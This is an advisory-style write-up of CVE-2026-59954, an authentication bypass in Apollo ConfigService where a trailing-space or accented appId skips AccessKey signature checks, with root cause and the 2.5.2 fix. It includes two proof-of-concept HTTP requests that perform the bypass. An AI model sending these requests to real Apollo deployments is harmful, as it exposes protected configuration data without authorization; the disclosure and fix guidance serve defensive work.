CVE-2026-59954: Apollo ConfigService AccessKey Authentication Bypass via Non-Canonical appId
Apollo ConfigService skips AccessKey signature verification when a request uses a non-canonical appId variant that misses the in-memory secret cache but still resolves to the protected app in the data
The problem
Apollo ConfigService looks up available AccessKey secrets by the exact appId string extracted from the incoming request. If that string is a non-canonical variant (e.g. trailing space, accent-modified character), the cache lookup returns no secrets and ConfigService treats the app as having no access control, skipping signature verification entirely.
Downstream release and config lookups use the database, which may resolve the non-canonical variant to the real app under common MySQL collations (PAD SPACE for trailing spaces, accent-insensitive collations for diacritic variants). The result is that authentication is bypassed in the Java layer while data is returned as if the request were legitimate.
Affected endpoints are /configs and /configfiles under ConfigService.
Proof of concept
A working proof-of-concept for CVE-2026-59954 in com.ctrip.framework.apollo:apollo, with the exact payload below.
# MySQL with PAD SPACE collation (utf8mb4_general_ci or utf8_general_ci)
# The real appId is "myapp"; a trailing space is treated as equal by the DB
# but does not match the exact Java Map key in the AccessKey secret cache.
GET /configs/myapp%20/default/application HTTP/1.1
Host: apollo-configservice:8080
# No Authorization or Signature header required.
# ConfigService finds no secrets for "myapp " -> skips sig check.
# DB resolves "myapp " == "myapp" under PAD SPACE -> returns config data.
# Accent-insensitive collation variant (e.g. utf8mb4_unicode_ci):
GET /configs/my%C3%A0pp/default/application HTTP/1.1
Host: apollo-configservice:8080
# "myàpp" != "myapp" in Java string comparison -> cache miss -> no auth.
# DB treats them as equal under accent-insensitive collation -> data returned.The root cause is a mismatch between two identity checks: the Java-layer AccessKey cache uses exact Java string equality to look up secrets by appId, while the database layer uses a collation-aware comparison. A non-canonical appId (trailing space, accented character) produces a cache miss, which the code interprets as 'this app has no secrets configured,' so it allows the request through without any signature check (CWE-287 / CWE-20).
The fix in 2.5.2 normalizes (trims and canonicalizes) the appId extracted from every incoming request before the AccessKey cache lookup, ensuring the Java and DB layers always operate on the same string. This closes the gap for both the PAD SPACE and accent-insensitive collation variants.
Note: the payload above is derived from the advisory's technical description of the bypass mechanism; no public PoC has been released.
The fix
Upgrade to Apollo 2.5.2 or later. The fix normalizes the appId extracted from /configs and /configfiles requests (and notification endpoints as defense-in-depth) before performing the AccessKey cache lookup, eliminating the collation-mismatch gap. No config changes are required beyond the upgrade.
Related research
- high · 7.5micronaut-http-client Infinite Redirect Loop Denial of Service
- high · 7.5CVE-2026-49485CVE-2026-49485: org.hl7.fhir.dstu2 FHIRPathEngine ReDoS via Unprotected matches()
- high · 8.1CVE-2026-49464CVE-2026-49464: NL Portal Taak IDOR Allows Takeover of Any User's Open Task
- high · 8CVE-2026-49832CVE-2026-49832: DSpace Remote Code Execution via Velocity Template Injection in LDN